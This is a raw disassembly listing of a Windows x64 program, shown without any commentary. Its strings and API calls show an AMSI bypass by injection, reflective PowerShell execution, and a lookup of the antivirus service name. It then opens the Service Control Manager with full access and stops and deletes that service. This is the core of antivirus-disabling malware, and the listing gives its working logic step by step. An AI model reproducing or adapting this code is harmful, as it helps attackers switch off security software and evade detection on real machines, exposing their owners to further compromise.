mov edi, 0x2c
test eax, eax
jne 0x14000e667
jmp 0x14000e661
lea rcx, [rsp + 0x1b4]
mov r8d, 0x19c
xor edx, edx
call sub.VCRUNTIME140.dll_memset
movaps xmmword [rsp + 0x150], xmm11
movaps xmmword [rsp + 0x160], xmm12
movaps xmm0, xmmword [str.n_restored_to_the_original_stateAMSI_bypass_injection_succeeded.ng_to_service_interactio_service_interacLoading_advapi32.dll_dynamicallyded_advapi32.dllResolving_service_related_functiOpening_Service_Control_Manager.ully_opened_Service_Control_ManaAttempting_to_stop_the_service..stopped_successfo_stop_service_or_service_was_not_runninng_to_delete_thedeleted_interaction_completed_successfulo_deleteo_open_Service_Control_Manager.]
movaps xmmword [rsp + 0x170], xmm0
movaps xmm0, xmmword [0x140045b10]
movaps xmmword [rsp + 0x180], xmm0
movaps xmm0, xmmword [0x140045b20]
movaps xmmword [rsp + 0x190], xmm0
movaps xmm0, xmmword [0x140045b30]
movaps xmmword [rsp + 0x1a0], xmm0
mov dword [rsp + 0x1b0], 0x2e
lea rcx, [rsp + 0x150]
call qword [sym.imp.kernel32.dll_OutputDebugStringW]
cmp qword [rsp + 0x60], 0
je 0x14000e1d1
mov r8, qword [rsp + 0x68]
mov rcx, qword [0x140055160]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsp + 0x192]
mov r8d, 0x1be
xor edx, edx
call sub.VCRUNTIME140.dll_memset
movaps xmm0, xmmword [0x140045b40]
movaps xmmword [rsp + 0x150], xmm0
movaps xmm0, xmmword [0x140045b50]
movaps xmmword [rsp + 0x160], xmm0
movaps xmm0, xmmword [0x140045b60]
movaps xmmword [rsp + 0x170], xmm0
movdqa xmm0, xmmword [0x140045b70]
movdqa xmmword [rsp + 0x180], xmm0
mov word [rsp + 0x190], 0
lea rcx, [rsp + 0x150]
call qword [sym.imp.kernel32.dll_OutputDebugStringW]
lea rcx, [rsp + 0x19a]
mov r8d, 0x1b6
xor edx, edx
call sub.VCRUNTIME140.dll_memset
movaps xmm0, xmmword [0x140045ab0]
movaps xmmword [rsp + 0x150], xmm0
movaps xmm0, xmmword [0x140045b80]
movaps xmmword [rsp + 0x160], xmm0
movaps xmm0, xmmword [0x140045b90]
movaps xmmword [rsp + 0x170], xmm0
movdqa xmm0, xmmword [0x140045ba0]
movdqa xmmword [rsp + 0x180], xmm0
movabs rax, 0x2e002e002e006e
mov qword [rsp + 0x190], rax
mov word [rsp + 0x198], 0
lea rcx, [rsp + 0x150]
call qword [sym.imp.kernel32.dll_OutputDebugStringW]
movzx eax, byte [0x1400551c8]
mov edx, 0xa
xor ecx, ecx
call fcn.14003d410
test rax, rax
je 0x140010468
movabs rcx, 0x6568737265776f70
mov qword [rax], rcx
mov word [rax + 8], 0x6c6c
mov qword [rsp + 0x150], 0xa
mov qword [rsp + 0x158], rax
mov qword [rsp + 0x160], 0xa
mov byte [rsp + 0x168], 0
mov qword [rsp + 0x170], 0
mov qword [rsp + 0x178], 8
mov qword [rsp + 0x180], 0
mov qword [rsp + 0x1d8], 0
mov qword [rsp + 0x1e8], 0
mov word [rsp + 0x1f0], 0
movabs rax, 0x8000000000000000
mov qword [rsp + 0x188], rax
mov dword [rsp + 0x214], 0
mov word [rsp + 0x210], 0
mov word [rsp + 0x218], 0
mov dword [rsp + 0x1a8], 6
mov dword [rsp + 0x1b8], 6
mov dword [rsp + 0x1c8], 6
mov qword [rsp + 0x1f8], 0
mov qword [rsp + 0x208], 0
lea rsi, [0x140047aeb]
lea rbx, [rsp + 0x150]
mov r8d, 0xa
mov rcx, rbx
mov rdx, rsi
call fcn.140040780
lea rdi, [0x140047af5]
mov r8d, 0xf
mov rcx, rbx
mov rdx, rdi
call fcn.140040780
lea r13, [0x140047b04]
mov r8d, 8
mov rcx, rbx
mov rdx, r13
call fcn.140040780
lea rdx, [0x140047b0c]
mov r8d, 0x39a
mov rcx, rbx
call fcn.140040780
lea r14, [rsp + 0xe0]
mov rcx, r14
mov rdx, rbx
call fcn.14003c5b0
mov rax, qword [rsp + 0xe0]
mov rbx, qword [rsp + 0xe8]
mov rcx, rax
neg rcx
jno 0x14000e518
mov qword [rsp + 0x398], rbx
lea rax, [rsp + 0x398]
mov qword [rsp + 0x3f0], rax
lea rax, [0x14002bdd0]
mov qword [rsp + 0x3f8], rax
lea rax, str.Failed_to_execute_PowerShell:
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], 1
mov qword [rsp + 0x80], 0
lea rax, [rsp + 0x3f0]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], 1
lea rcx, [rsp + 0xa0]
lea rdx, [rsp + 0x60]
call fcn.140018ad0
mov r8, qword [rsp + 0xb0]
test r8, r8
je 0x14000e8f5
mov rdx, qword [rsp + 0xa8]
mov ecx, 0x80004005
call fcn.140041340
mov qword [rsp + 0x60], 0
lea rdx, [rsp + 0x60]
xor ecx, ecx
call qword [sym.imp.oleaut32.dll_GetErrorInfo]
mov rsi, qword [rsp + 0x60]
jmp 0x14000e8f7
lea rsi, str.Failed_to_write_to_process_memory.VirtualProtect
mov edi, 0x22
jmp 0x14000e667
mov ecx, dword [rsp + 0xf0]
movups xmm0, xmmword [rsp + 0xf4]
movups xmmword [rsp + 0x374], xmm0
movdqu xmm0, xmmword [rsp + 0x104]
movdqu xmmword [rsp + 0x384], xmm0
mov edx, dword [rsp + 0x114]
mov dword [rsp + 0x394], edx
mov qword [rsp + 0x360], rax
mov qword [rsp + 0x368], rbx
mov dword [rsp + 0x370], ecx
lea rcx, [rsp + 0x150]
call fcn.1400013f0
cmp dword [rsp + 0x390], 0
je 0x14000e990
mov rdx, qword [rsp + 0x380]
mov r8, qword [rsp + 0x388]
mov rcx, r14
call fcn.140018860
mov qword [rsp + 0x60], r14
lea rax, [0x140002010]
mov qword [rsp + 0x68], rax
lea rax, str.PowerShell_error:
mov qword [rsp + 0x150], rax
mov qword [rsp + 0x158], 1
mov qword [rsp + 0x170], 0
lea rax, [rsp + 0x60]
mov qword [rsp + 0x160], rax
mov qword [rsp + 0x168], 1
lea rcx, [rsp + 0x488]
lea rdx, [rsp + 0x150]
call fcn.140018ad0
mov r8, qword [rsp + 0x498]
test r8, r8
je 0x14000eab6
mov rdx, qword [rsp + 0x490]
mov ecx, 0x80004005
call fcn.140041340
mov qword [rsp + 0x150], 0
lea rdx, [rsp + 0x150]
xor ecx, ecx
call qword [sym.imp.oleaut32.dll_GetErrorInfo]
mov rsi, qword [rsp + 0x150]
jmp 0x14000eab8
call qword [sym.imp.kernel32.dll_CloseHandle]
lea rsi, [0x140046fb3]
mov edi, 0x2b
test eax, eax
jne 0x14000e667
call qword [sym.imp.kernel32.dll_GetLastError]
mov qword [rsp + 0xa0], rsi
mov qword [rsp + 0xa8], rdi
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x60], rax
lea rax, [0x140014a50]
mov qword [rsp + 0x68], rax
lea rax, str.Reflective_PowerShell_execution_failed:_X
mov qword [rsp + 0x150], rax
mov qword [rsp + 0x158], 1
mov qword [rsp + 0x170], 0
lea rax, [rsp + 0x60]
mov qword [rsp + 0x160], rax
mov qword [rsp + 0x168], 1
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0x150]
call fcn.140018ad0
mov rsi, qword [rsp + 0xe8]
mov rdi, qword [rsp + 0xf0]
lea rcx, [rsp + 0x150]
mov r8d, 0x200
xor edx, edx
call sub.VCRUNTIME140.dll_memset
cmp rdi, 0xff
mov eax, 0xff
cmovb rax, rdi
test rdi, rdi
je 0x14000e7ca
lea rcx, [rax - 1]
cmp rdi, rcx
cmovb rcx, rdi
inc rcx
cmp rcx, 0x11
jae 0x14000e741
xor ecx, ecx
mov rdx, rsi
mov r8, rax
jmp 0x14000e798
mov edx, ecx
and edx, 0xf
mov r8d, 0x10
cmovne r8, rdx
sub rcx, r8
lea rdx, [rsi + rcx]
xor r8d, r8d
pxor xmm0, xmm0
nop
movq xmm1, qword [rsi + r8]
movq xmm2, qword [rsi + r8 + 8]
punpcklbw xmm1, xmm0
punpcklbw xmm2, xmm0
movdqu xmmword [rsp + r8*2 + 0x150], xmm1
movdqu xmmword [rsp + r8*2 + 0x160], xmm2
add r8, 0x10
cmp rcx, r8
jne 0x14000e760
mov r8, rax
sub r8, rcx
add rdi, rsi
lea rcx, [rsp + rcx*2]
add rcx, 0x150
xor r9d, r9d
nop dword [rax]
lea r10, [rdx + r9]
cmp r10, rdi
je 0x14000e7ca
movzx r10d, byte [r10]
mov word [rcx + r9*2], r10w
inc r9
cmp r8, r9
jne 0x14000e7b0
mov word [rsp + rax*2 + 0x150], 0
lea rcx, [rsp + 0x150]
call qword [sym.imp.kernel32.dll_OutputDebugStringW]
cmp qword [rsp + 0xe0], 0
je 0x14000e7ff
mov rcx, qword [0x140055160]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
test r13, r13
je 0x14000e816
mov rcx, qword [0x140055160]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x360], 0
je 0x14000e838
mov r8, qword [rsp + 0x368]
mov rcx, qword [0x140055160]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rax, str.Reflective_PowerShell_execution_failedFailed_to_query_antivirus_service_name:
mov edx, 0x26
movaps xmm6, xmmword [rsp + 0x510]
movaps xmm7, xmmword [rsp + 0x520]
movaps xmm8, xmmword [rsp + 0x530]
movaps xmm9, xmmword [rsp + 0x540]
movaps xmm10, xmmword [rsp + 0x550]
movaps xmm11, xmmword [rsp + 0x560]
movaps xmm12, xmmword [rsp + 0x570]
add rsp, 0x588
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
test eax, eax
je 0x14000eb0a
mov rcx, qword [rsp + 0xa8]
call qword [sym.imp.kernel32.dll_CloseHandle]
test eax, eax
je 0x14000eb26
test r13, r13
je 0x14000e8ca
mov rcx, qword [0x140055160]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x360], 0
je 0x14000e23c
mov r8, qword [rsp + 0x368]
mov rcx, qword [0x140055160]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14000e23c
xor esi, esi
cmp qword [rsp + 0xa0], 0
je 0x14000e919
mov r8, qword [rsp + 0xa8]
mov rcx, qword [0x140055160]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rdi, qword [rsp + 0x398]
mov eax, edi
and eax, 3
cmp eax, 1
jne 0x14000e979
mov rbx, qword [rdi - 1]
mov r15, qword [rdi + 7]
mov rax, qword [r15]
test rax, rax
je 0x14000e940
mov rcx, rbx
call rax
dec rdi
cmp qword [r15 + 8], 0
je 0x14000e967
cmp qword [r15 + 0x10], 0x11
jb 0x14000e955
mov rbx, qword [rbx - 8]
mov rcx, qword [0x140055160]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x140055160]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov edi, 0x80004005
lea rcx, [rsp + 0x150]
call fcn.1400013f0
jmp 0x14000f0bc
mov r8, qword [rsp + 0x370]
lea rcx, [rsp + 0x470]
mov rdx, rbx
call fcn.140018860
movdqu xmm0, xmmword [rsp + 0x478]
movdqu xmmword [rsp + 0x150], xmm0
mov qword [rsp + 0x160], 0
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0x150]
call fcn.140010710
movzx eax, byte [rsp + 0xe0]
cmp al, 6
jne 0x14000eb3a
mov rax, qword [rsp + 0xe8]
mov qword [rsp + 0x3f0], rax
lea rax, [rsp + 0x3f0]
mov qword [rsp + 0xa0], rax
lea rax, [0x140025250]
mov qword [rsp + 0xa8], rax
lea rax, str.Failed_to_parse_JSON:
mov qword [rsp + 0x150], rax
mov qword [rsp + 0x158], 1
mov qword [rsp + 0x170], 0
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x160], rax
mov qword [rsp + 0x168], 1
lea rsi, [rsp + 0x60]
lea rdx, [rsp + 0x150]
mov rcx, rsi
call fcn.140018ad0
mov ecx, 0x80004005
mov rdx, rsi
call fcn.140012b60
mov rsi, rax
mov edi, edx
mov rbx, qword [rsp + 0x3f0]
mov rax, qword [rbx]
cmp rax, 1
je 0x14000ec0c
test rax, rax
jne 0x14000ec6b
cmp qword [rbx + 0x10], 0
je 0x14000ec6b
mov r15, qword [rbx + 8]
jmp 0x14000ec59
xor esi, esi
cmp qword [rsp + 0x488], 0
je 0x14000eada
mov r8, qword [rsp + 0x490]
mov rcx, qword [0x140055160]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0xe0]
neg rax
jo 0x14000eb00
jae 0x14000eb00
mov r8, qword [rsp + 0xe8]
mov rcx, qword [0x140055160]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov edi, 0x80004005
jmp 0x14000f078
call qword [sym.imp.kernel32.dll_GetLastError]
mov rcx, qword [rsp + 0xa8]
call qword [sym.imp.kernel32.dll_CloseHandle]
test eax, eax
jne 0x14000e8b3
call qword [sym.imp.kernel32.dll_GetLastError]
test r13, r13
jne 0x14000e8b8
jmp 0x14000e8ca
mov ecx, dword [rsp + 0xe1]
mov edx, dword [rsp + 0xe4]
mov dword [rsp + 0x39c], edx
mov dword [rsp + 0x399], ecx
mov rcx, qword [rsp + 0xe8]
mov edx, dword [rsp + 0xf0]
mov r8, qword [rsp + 0xf4]
mov qword [rsp + 0x3ac], r8
mov r8d, dword [rsp + 0xfc]
mov dword [rsp + 0x3b4], r8d
mov byte [rsp + 0x398], al
mov qword [rsp + 0x3a0], rcx
mov dword [rsp + 0x3a8], edx
lea rcx, [rsp + 0x398]
call fcn.140014630
cmp byte [rax], 3
jne 0x14000ebeb
mov r12, qword [rax + 0x18]
test r12, r12
js 0x140010486
mov r15, qword [rax + 0x10]
je 0x14000ec9b
movzx eax, byte [0x1400551c8]
xor ecx, ecx
mov rdx, r12
call fcn.14003d410
test rax, rax
je 0x14001049f
mov rbx, rax
mov qword [rsp + 0x58], r12
jmp 0x14000eca9
lea rdx, [0x140047eb1]
mov r8d, 0x25
mov ecx, 0x80004005
call fcn.140012b20
mov rsi, rax
mov edi, edx
jmp 0x14000effc
mov r15, qword [rbx + 8]
mov eax, r15d
and eax, 3
cmp eax, 1
jne 0x14000ec6b
mov r12, qword [r15 - 1]
mov r13, qword [r15 + 7]
mov rax, qword [r13]
test rax, rax
je 0x14000ec31
mov rcx, r12
call rax
dec r15
cmp qword [r13 + 8], 0
je 0x14000ec59
cmp qword [r13 + 0x10], 0x11
jb 0x14000ec47
mov r12, qword [r12 - 8]
mov rcx, qword [0x140055160]
xor edx, edx
mov r8, r12
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x140055160]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x140055160]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14000f052
add rsi, r10
cmp rdx, rsi
cmova rsi, rdx
lea r8, [0x14004b958]
mov rcx, rsi
call fcn.1400432cf
mov ebx, 1
mov qword [rsp + 0x58], 0
mov rcx, rbx
mov rdx, r15
mov r8, r12
call sub.VCRUNTIME140.dll_memcpy
movzx eax, byte [0x1400551c8]
mov edx, 0x41
xor ecx, ecx
call fcn.14003d410
test rax, rax
je 0x140010490
mov r15, rax
movups xmm0, xmmword [0x140047f06]
movups xmmword [rax + 0x30], xmm0
movups xmm0, xmmword [0x140047ef6]
movups xmmword [rax + 0x20], xmm0
movups xmm0, xmmword [0x140047ee6]
movups xmmword [rax + 0x10], xmm0
movdqu xmm0, xmmword [0x140047ed6]
movdqu xmmword [rax], xmm0
mov byte [rax + 0x40], 0x20
lea rbp, [rsp + 0x150]
mov rcx, rbp
call fcn.140014750
mov qword [rsp + 0xe0], rsi
mov qword [rsp + 0xe8], 0xa
mov qword [rsp + 0xf0], rdi
mov qword [rsp + 0xf8], 0xf
mov qword [rsp + 0x100], r13
mov qword [rsp + 0x108], 8
mov qword [rsp + 0x110], r15
mov qword [rsp + 0x118], 0x41
lea rdi, [rsp + 0xe0]
mov rcx, rbp
mov rdx, rdi
call fcn.140014840
lea rsi, [rsp + 0x60]
mov rcx, rsi
mov rdx, rbp
call fcn.14003c5b0
mov rcx, qword [rsp + 0x60]
mov rax, qword [rsp + 0x68]
mov rdx, rcx
neg rdx
jno 0x14000eeaa
mov qword [rsp + 0x448], rax
lea rax, [rsp + 0x448]
mov qword [rsp + 0x4a0], rax
lea rax, [0x14002bdd0]
mov qword [rsp + 0x4a8], rax
lea rax, str.Failed_to_execute_PowerShell:
mov qword [rsp + 0x3f0], rax
mov qword [rsp + 0x3f8], 1
mov qword [rsp + 0x410], 0
lea rax, [rsp + 0x4a0]
mov qword [rsp + 0x400], rax
mov qword [rsp + 0x408], 1
lea rsi, [rsp + 0x4e0]
lea rdx, [rsp + 0x3f0]
mov rcx, rsi
call fcn.140018ad0
mov ecx, 0x80004005
mov rdx, rsi
call fcn.140012b60
mov rsi, rax
mov edi, edx
mov r12, qword [rsp + 0x448]
mov eax, r12d
and eax, 3
cmp eax, 1
jne 0x14000ee98
mov r13, qword [r12 - 1]
mov rbp, qword [r12 + 7]
mov rax, qword [rbp]
test rax, rax
je 0x14000ee5f
mov rcx, r13
call rax
dec r12
cmp qword [rbp + 8], 0
je 0x14000ee86
cmp qword [rbp + 0x10], 0x11
jb 0x14000ee74
mov r13, qword [r13 - 8]
mov rcx, qword [0x140055160]
xor edx, edx
mov r8, r13
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x140055160]
xor edx, edx
mov r8, r12
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsp + 0x150]
call fcn.1400013f0
jmp 0x14000efd0
mov edx, dword [rsp + 0x70]
movups xmm0, xmmword [rsp + 0x74]
movups xmmword [rsp + 0xb4], xmm0
movdqu xmm0, xmmword [rsp + 0x84]
movdqu xmmword [rsp + 0xc4], xmm0
mov r8d, dword [rsp + 0x94]
mov dword [rsp + 0xd4], r8d
mov qword [rsp + 0xa0], rcx
mov qword [rsp + 0xa8], rax
mov dword [rsp + 0xb0], edx
lea rcx, [rsp + 0x150]
call fcn.1400013f0
cmp dword [rsp + 0xd0], 0
je 0x14001021a
mov rdx, qword [rsp + 0xc0]
mov r8, qword [rsp + 0xc8]
mov rcx, rdi
call fcn.140018860
mov qword [rsp + 0x60], rdi
lea rax, [0x140002010]
mov qword [rsp + 0x68], rax
lea rax, [0x140047f40]
mov qword [rsp + 0x150], rax
mov qword [rsp + 0x158], 1
mov qword [rsp + 0x170], 0
mov qword [rsp + 0x160], rsi
mov qword [rsp + 0x168], 1
lea rsi, [rsp + 0x4f8]
lea rdx, [rsp + 0x150]
mov rcx, rsi
call fcn.140018ad0
mov ecx, 0x80004005
mov rdx, rsi
call fcn.140012b60
mov rsi, rax
mov edi, edx
mov rax, qword [rsp + 0xe0]
neg rax
jo 0x14000efc3
jae 0x14000efc3
mov r8, qword [rsp + 0xe8]
mov rcx, qword [0x140055160]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsp + 0xa0]
call fcn.140001380
mov rcx, qword [0x140055160]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x58], 0
je 0x14000effc
mov rcx, qword [0x140055160]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
movzx eax, byte [rsp + 0x398]
cmp eax, 3
jb 0x14000f052
je 0x14000f01d
lea rcx, [rsp + 0x3a0]
cmp eax, 4
jne 0x14000f04d
call fcn.1400151d0
cmp qword [rsp + 0x3a0], 0
je 0x14000f052
mov r8, qword [rsp + 0x3a8]
mov rcx, qword [0x140055160]
xor edx, edx
jmp 0x14000ec77
lea r8, [0x14004b940]
mov rcx, r9
call fcn.1400432cf
call fcn.140014150
mov rax, qword [rsp + 0x470]
neg rax
jo 0x14000f078
jae 0x14000f078
mov r8, qword [rsp + 0x478]
mov rcx, qword [0x140055160]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x360], 0
je 0x14000f09a
mov r8, qword [rsp + 0x368]
mov rcx, qword [0x140055160]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x378], 0
je 0x14000f0bc
mov r8, qword [rsp + 0x380]
mov rcx, qword [0x140055160]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rsp + 0xa0], rsi
mov dword [rsp + 0xa8], edi
lea rax, [rsp + 0xa0]
mov qword [rsp + 0xe0], rax
lea rax, [0x140040bc0]
mov qword [rsp + 0xe8], rax
lea rax, [0x1400480e0]
mov qword [rsp + 0x150], rax
mov qword [rsp + 0x158], 1
mov qword [rsp + 0x170], 0
mov qword [rsp + 0x160], r14
mov qword [rsp + 0x168], 1
lea rcx, [rsp + 0x4c8]
lea rdx, [rsp + 0x150]
call fcn.140018ad0
mov rdi, qword [rsp + 0x4c8]
mov rsi, qword [rsp + 0x4d0]
mov rbx, qword [rsp + 0x4d8]
lea rcx, [rsp + 0x150]
mov r8d, 0x200
xor edx, edx
call sub.VCRUNTIME140.dll_memset
cmp rbx, 0xff
mov eax, 0xff
cmovb rax, rbx
test rbx, rbx
je 0x14000f22a
lea rcx, [rax - 1]
cmp rbx, rcx
cmovb rcx, rbx
inc rcx
cmp rcx, 0x11
jae 0x14000f19e
xor ecx, ecx
mov rdx, rsi
mov r8, rax
jmp 0x14000f1f8
mov edx, ecx
and edx, 0xf
mov r8d, 0x10
cmovne r8, rdx
sub rcx, r8
lea rdx, [rsi + rcx]
xor r8d, r8d
pxor xmm0, xmm0
nop dword [rax + rax]
movq xmm1, qword [rsi + r8]
movq xmm2, qword [rsi + r8 + 8]
punpcklbw xmm1, xmm0
punpcklbw xmm2, xmm0
movdqu xmmword [rsp + r8*2 + 0x150], xmm1
movdqu xmmword [rsp + r8*2 + 0x160], xmm2
add r8, 0x10
cmp rcx, r8
jne 0x14000f1c0
mov r8, rax
sub r8, rcx
add rbx, rsi
lea rcx, [rsp + rcx*2]
add rcx, 0x150
xor r9d, r9d
nop dword [rax]
lea r10, [rdx + r9]
cmp r10, rbx
je 0x14000f22a
movzx r10d, byte [r10]
mov word [rcx + r9*2], r10w
inc r9
cmp r8, r9
jne 0x14000f210
mov word [rsp + rax*2 + 0x150], 0
lea rcx, [rsp + 0x150]
call qword [sym.imp.kernel32.dll_OutputDebugStringW]
test rdi, rdi
je 0x14000f259
mov rcx, qword [0x140055160]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
movzx eax, byte [0x1400551c8]
mov edx, 7
xor ecx, ecx
call fcn.14003d410
test rax, rax
je 0x140010477
mov dword [rax + 3], 0x6e776f6e
mov dword [rax], 0x6e6b6e55
mov qword [rsp + 0x60], 7
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], 7
mov rcx, qword [rsp + 0xa0]
test rcx, rcx
je 0x14000f2ac
mov rax, qword [rcx]
call qword [rax + 0x10]
lea rax, [rsp + 0x60]
mov qword [rsp + 0xa0], rax
lea rax, [0x140002010]
mov qword [rsp + 0xa8], rax
lea rax, str.Resolved_antivirus_service_name:
mov qword [rsp + 0x150], rax
mov qword [rsp + 0x158], 1
mov qword [rsp + 0x170], 0
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x160], rax
mov qword [rsp + 0x168], 1
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0x150]
call fcn.140018ad0
mov rsi, qword [rsp + 0xe8]
mov rdi, qword [rsp + 0xf0]
lea rcx, [rsp + 0x150]
mov r8d, 0x200
xor edx, edx
call sub.VCRUNTIME140.dll_memset
cmp rdi, 0xff
mov eax, 0xff
cmovb rax, rdi
test rdi, rdi
je 0x14000f40a
lea rcx, [rax - 1]
cmp rdi, rcx
cmovb rcx, rdi
inc rcx
cmp rcx, 0x11
jae 0x14000f37c
xor ecx, ecx
mov rdx, rsi
mov r8, rax
jmp 0x14000f3d8
mov edx, ecx
and edx, 0xf
mov r8d, 0x10
cmovne r8, rdx
sub rcx, r8
lea rdx, [rsi + rcx]
xor r8d, r8d
pxor xmm0, xmm0
nop dword [rax]
movq xmm1, qword [rsi + r8]
movq xmm2, qword [rsi + r8 + 8]
punpcklbw xmm1, xmm0
punpcklbw xmm2, xmm0
movdqu xmmword [rsp + r8*2 + 0x150], xmm1
movdqu xmmword [rsp + r8*2 + 0x160], xmm2
add r8, 0x10
cmp rcx, r8
jne 0x14000f3a0
mov r8, rax
sub r8, rcx
add rdi, rsi
lea rcx, [rsp + rcx*2]
add rcx, 0x150
xor r9d, r9d
nop dword [rax]
lea r10, [rdx + r9]
cmp r10, rdi
je 0x14000f40a
movzx r10d, byte [r10]
mov word [rcx + r9*2], r10w
inc r9
cmp r8, r9
jne 0x14000f3f0
mov word [rsp + rax*2 + 0x150], 0
lea rcx, [rsp + 0x150]
call qword [sym.imp.kernel32.dll_OutputDebugStringW]
cmp qword [rsp + 0xe0], 0
je 0x14000f43f
mov rcx, qword [0x140055160]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
movups xmm0, xmmword [rsp + 0x68]
movups xmmword [rsp + 0x360], xmm0
lea rcx, [rsp + 0x190]
mov r8d, 0x1c0
xor edx, edx
call sub.VCRUNTIME140.dll_memset
movaps xmmword [rsp + 0x150], xmm8
movaps xmm8, xmmword [0x140045bb0]
movaps xmmword [rsp + 0x160], xmm8
movaps xmm0, xmmword [0x140045bc0]
movaps xmmword [rsp + 0x170], xmm0
movaps xmm0, xmmword [0x140045af0]
movaps xmmword [rsp + 0x180], xmm0
lea rcx, [rsp + 0x150]
mov rbp, qword [sym.imp.kernel32.dll_OutputDebugStringW]
call rbp
lea rcx, [rsp + 0x198]
mov r8d, 0x1b8
xor edx, edx
call sub.VCRUNTIME140.dll_memset
movaps xmm0, xmmword [0x140045bd0]
movaps xmmword [rsp + 0x150], xmm0
movaps xmm0, xmmword [0x140045be0]
movaps xmmword [rsp + 0x160], xmm0
movaps xmm0, xmmword [0x140045bf0]
movaps xmmword [rsp + 0x170], xmm0
movaps xmm0, xmmword [0x140045c00]
movaps xmmword [rsp + 0x180], xmm0
movabs r13, 0x2e002e002e
mov qword [rsp + 0x190], r13
lea rcx, [rsp + 0x150]
call rbp
lea rcx, [0x140046a58]
lea rsi, [rsp + 0x420]
lea r14, [rsp + 0x3c0]
mov rdx, rsi
mov r8, r14
call fcn.140002a80
mov r15, rax
lea rcx, [rsp + 0x194]
mov r8d, 0x1bc
xor edx, edx
call sub.VCRUNTIME140.dll_memset
movdqa xmmword [rsp + 0x150], xmm6
movaps xmmword [rsp + 0x160], xmm7
movaps xmm0, xmmword [0x140045c10]
movaps xmmword [rsp + 0x170], xmm0
movaps xmm0, xmmword [0x140045c20]
movaps xmmword [rsp + 0x180], xmm0
mov dword [rsp + 0x190], 0x2e
lea rcx, [rsp + 0x150]
call rbp
lea rcx, [rsp + 0x19e]
mov r8d, 0x1b2
xor edx, edx
call sub.VCRUNTIME140.dll_memset
movaps xmm0, xmmword [0x140045c30]
movaps xmmword [rsp + 0x150], xmm0
movaps xmm0, xmmword [0x140045c40]
movaps xmmword [rsp + 0x160], xmm0
movaps xmm0, xmmword [0x140045c50]
movaps xmmword [rsp + 0x170], xmm0
movaps xmm0, xmmword [0x140045c60]
movaps xmmword [rsp + 0x180], xmm0
movabs rax, 0x2e0073006e006f
mov qword [rsp + 0x190], rax
mov dword [rsp + 0x198], 0x2e002e
mov word [rsp + 0x19c], 0
lea rcx, [rsp + 0x150]
call rbp
lea rdx, str.OpenSCManagerA
mov rcx, r15
mov r8, rsi
mov r9, r14
call fcn.140002c10
mov r12, rax
lea rdx, str.OpenServiceA
mov rcx, r15
mov r8, rsi
mov r9, r14
call fcn.140002c10
mov rbx, rax
lea rdx, str.ControlService
mov rcx, r15
mov r8, rsi
mov r9, r14
call fcn.140002c10
mov rdi, rax
lea rdx, str.DeleteService
mov rcx, r15
mov r8, rsi
mov r9, r14
call fcn.140002c10
mov rsi, rax
lea rcx, [rsp + 0x196]
mov r8d, 0x1ba
xor edx, edx
call sub.VCRUNTIME140.dll_memset
movaps xmm0, xmmword [0x140045c70]
movaps xmmword [rsp + 0x150], xmm0
movaps xmm7, xmmword [0x140045c80]
movaps xmmword [rsp + 0x160], xmm7
movaps xmm0, xmmword [0x140045c90]
movaps xmmword [rsp + 0x170], xmm0
movaps xmm0, xmmword [0x140045ca0]
movaps xmmword [rsp + 0x180], xmm0
mov dword [rsp + 0x190], 0x2e002e
mov word [rsp + 0x194], 0
lea rcx, [rsp + 0x150]
call rbp
xor ecx, ecx
xor edx, edx
mov r8d, 0xf003f
call r12
test rax, rax
je 0x14000f860
mov r14, rax
lea rcx, [rsp + 0x1aa]
mov r8d, 0x1a6
xor edx, edx
call sub.VCRUNTIME140.dll_memset
movdqa xmmword [rsp + 0x150], xmm6
movaps xmm0, xmmword [0x140045cb0]
movaps xmmword [rsp + 0x160], xmm0
movaps xmm0, xmmword [0x140045cc0]
movaps xmmword [rsp + 0x170], xmm0
movaps xmm0, xmmword [0x140045cd0]
movaps xmmword [rsp + 0x180], xmm0
movdqa xmm0, xmmword [0x140045ce0]
movdqa xmmword [rsp + 0x190], xmm0
movabs rax, 0x2e007200650067
mov qword [rsp + 0x1a0], rax
mov word [rsp + 0x1a8], 0
lea rcx, [rsp + 0x150]
